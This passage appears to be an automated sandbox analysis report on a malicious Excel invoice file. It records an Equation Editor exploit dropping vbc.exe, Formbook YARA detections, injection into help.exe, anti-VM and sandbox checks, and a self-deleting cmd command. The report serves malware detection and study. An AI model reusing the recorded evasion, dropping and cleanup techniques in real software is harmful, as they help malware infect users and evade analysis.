Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B4FBD7	5_2_00B4FBD7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BDDBDA	5_2_00BDDBDA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B77B00	5_2_00B77B00
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BEFDDD	5_2_00BEFDDD
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B80D3B	5_2_00B80D3B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B5CD5B	5_2_00B5CD5B
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B82E2F	5_2_00B82E2F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B6EE4C	5_2_00B6EE4C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BECFB1	5_2_00BECFB1
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00BC2FDC	5_2_00BC2FDC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B60F3F	5_2_00B60F3F
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B7DF7C	5_2_00B7DF7C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0096E0C6	7_2_0096E0C6
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0099D005	7_2_0099D005
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0098905A	7_2_0098905A
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00973040	7_2_00973040
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009ED06D	7_2_009ED06D
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0096E2E9	7_2_0096E2E9
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A11238	7_2_00A11238
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A163BF	7_2_00A163BF
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009963DB	7_2_009963DB
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0096F3CF	7_2_0096F3CF
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00972305	7_2_00972305
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00977353	7_2_00977353
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009BA37B	7_2_009BA37B
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00981489	7_2_00981489
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009A5485	7_2_009A5485
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009F443E	7_2_009F443E
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009AD47D	7_2_009AD47D
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0098C5F0	7_2_0098C5F0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009F05E3	7_2_009F05E3
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0097351F	7_2_0097351F
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009B6540	7_2_009B6540
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00974680	7_2_00974680
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0097E6C1	7_2_0097E6C1
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A12622	7_2_00A12622
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009BA634	7_2_009BA634
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009F579A	7_2_009F579A
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0097C7BC	7_2_0097C7BC
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009A57C3	7_2_009A57C3
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A0F8EE	7_2_00A0F8EE
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009EF8C4	7_2_009EF8C4
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0097C85C	7_2_0097C85C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0099286D	7_2_0099286D
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009729B2	7_2_009729B2
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A1098E	7_2_00A1098E
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009869FE	7_2_009869FE
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009F5955	7_2_009F5955
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009F394B	7_2_009F394B
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A23A83	7_2_00A23A83
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A1CBA4	7_2_00A1CBA4
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0096FBD7	7_2_0096FBD7
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009FDBDA	7_2_009FDBDA
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009F6BCB	7_2_009F6BCB
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00997B00	7_2_00997B00
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A0FDDD	7_2_00A0FDDD
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009A0D3B	7_2_009A0D3B
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0097CD5B	7_2_0097CD5B
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009A2E2F	7_2_009A2E2F
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0098EE4C	7_2_0098EE4C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00A0CFB1	7_2_00A0CFB1
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009E2FDC	7_2_009E2FDC
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00980F3F	7_2_00980F3F
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0099DF7C	7_2_0099DF7C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009D03C	7_2_0009D03C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009B509	7_2_0009B509
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009C5BB	7_2_0009C5BB
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009C81E	7_2_0009C81E
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009CB97	7_2_0009CB97
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00088C5F	7_2_00088C5F
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00088C60	7_2_00088C60
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00082D90	7_2_00082D90
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009CE4C	7_2_0009CE4C
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00082FB0	7_2_00082FB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C67C7	7_2_006C67C7
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C5062	7_2_006C5062
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C32FF	7_2_006C32FF
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C1362	7_2_006C1362
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C3302	7_2_006C3302
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C75B2	7_2_006C75B2
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C08F9	7_2_006C08F9
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_006C0902	7_2_006C0902

Source: 0113 INV_PAK.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\Public\vbc.exe	Code function: String function: 00B4E2A8 appears 38 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00B9373B appears 245 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00B93F92 appears 132 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00BBF970 appears 84 times
Source: C:\Users\Public\vbc.exe	Code function: String function: 00B4DF5C appears 119 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 009B3F92 appears 132 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 009B373B appears 245 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 0096DF5C appears 123 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 0096E2A8 appears 38 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 009DF970 appears 84 times

Source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: svchost[1].exe.2.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@9/6@8/7

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$0113 INV_PAK.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR702.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 0113 INV_PAK.xlsx

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: unknown	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: 0113 INV_PAK.xlsx

Static file information: File size 2298880 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: wntdll.pdb source: vbc.exe, help.exe
Source:	Binary string: help.pdb source: vbc.exe, 00000005.00000002.2218383792.0000000000769000.00000004.00000020.sdmp

Source: 0113 INV_PAK.xlsx

Initial sample: OLE indicators vbamacros = False

Source: 0113 INV_PAK.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation:

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00327827 push esp; retf	4_2_0032782A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0032742B push eax; iretd	4_2_0032742E
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0032740A push esi; iretd	4_2_00327410
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00416A29 push cs; ret	5_2_00416A2A
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00415B33 push 104AF160h; retf	5_2_00415B38
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B3B5 push eax; ret	5_2_0041B408
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B46C push eax; ret	5_2_0041B472
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B402 push eax; ret	5_2_0041B408
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041B40B push eax; ret	5_2_0041B472
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041BD9D push esi; ret	5_2_0041BE95
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B4DFA1 push ecx; ret	5_2_00B4DFB4
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0096DFA1 push ecx; ret	7_2_0096DFB4
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009B3B5 push eax; ret	7_2_0009B408
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009B40B push eax; ret	7_2_0009B472
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009B402 push eax; ret	7_2_0009B408
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_0009B46C push eax; ret	7_2_0009B472
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00096A29 push cs; ret	7_2_00096A2A
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00095B33 push 104AF160h; retf	7_2_00095B38

Source: initial sample

Static PE information: section name: .text entropy: 7.63729339477

Persistence and Installation Behavior:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: 0113 INV_PAK.xlsx

Stream path 'EncryptedPackage' entropy: 7.9999064044 (max. 8.0)

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2692, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 00000000000885E4 second address: 00000000000885EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 000000000008897E second address: 0000000000088984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\Public\vbc.exe

Code function: 5_2_004088B0 rdtsc

5_2_004088B0

Source: C:\Users\Public\vbc.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1916	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2724	Thread sleep time: -49328s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2776	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1360	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe TID: 1688	Thread sleep time: -32000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe	Last function: Thread delayed

Source: explorer.exe, 00000006.00000000.2181668566.0000000004234000.00000004.00000001.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000006.00000000.2169394323.00000000001F5000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000006.00000000.2181744057.0000000004263000.00000004.00000001.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}ies
Source: vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	Binary or memory string: vmware
